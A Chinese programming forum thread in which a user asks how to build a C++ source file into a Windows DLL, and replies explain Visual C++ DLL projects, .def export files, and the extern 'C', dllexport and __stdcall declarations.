我这里有个CPP的源代码，我想写成标准DLL，怎么弄啊

解决立刻给分~~
主要我不是搞C++的。。。

有VC建一个DLL工程（win32 dll）即可。然后你想export什么函数都可以。

[alen_ghl]

同意楼上的

[Dickson]

怎么EXPORT

[打雷啦的专栏]

在.def文件中写入你要导出的函数名称
比如:
; lzsupport.def : 声明 DLL 的模块参数。

LIBRARY "lzsupport"

EXPORTS
getopenfilename ; //比如这三个函数是你要导出的函数,写函数名就可以
getmacaddress;
getfileversioninfo;

[Dickson]

我看这个程序好象没有函数入口，怎么写啊？？

[菲斯可儿]

用vc建一个none-mfc的工程，vc会把东西都帮你建好的，再按上面的写法把你的代码加进去就可以啦，注意，不要是用MFC中的数据类型和类。

[sad_4978]

如果说写完dll后还应用在VC中建议写成支持MFC的dll，如果要应用到其他开发工具中建议写成win32的dll。如果要用类的形式引用到其他开发工具中，建议写成COM组件。
在声明输出函数时使用extern "C"，_declspec(dllexport)，__stdcall 关键字。在函数定义处使用__stdcall 关键字。
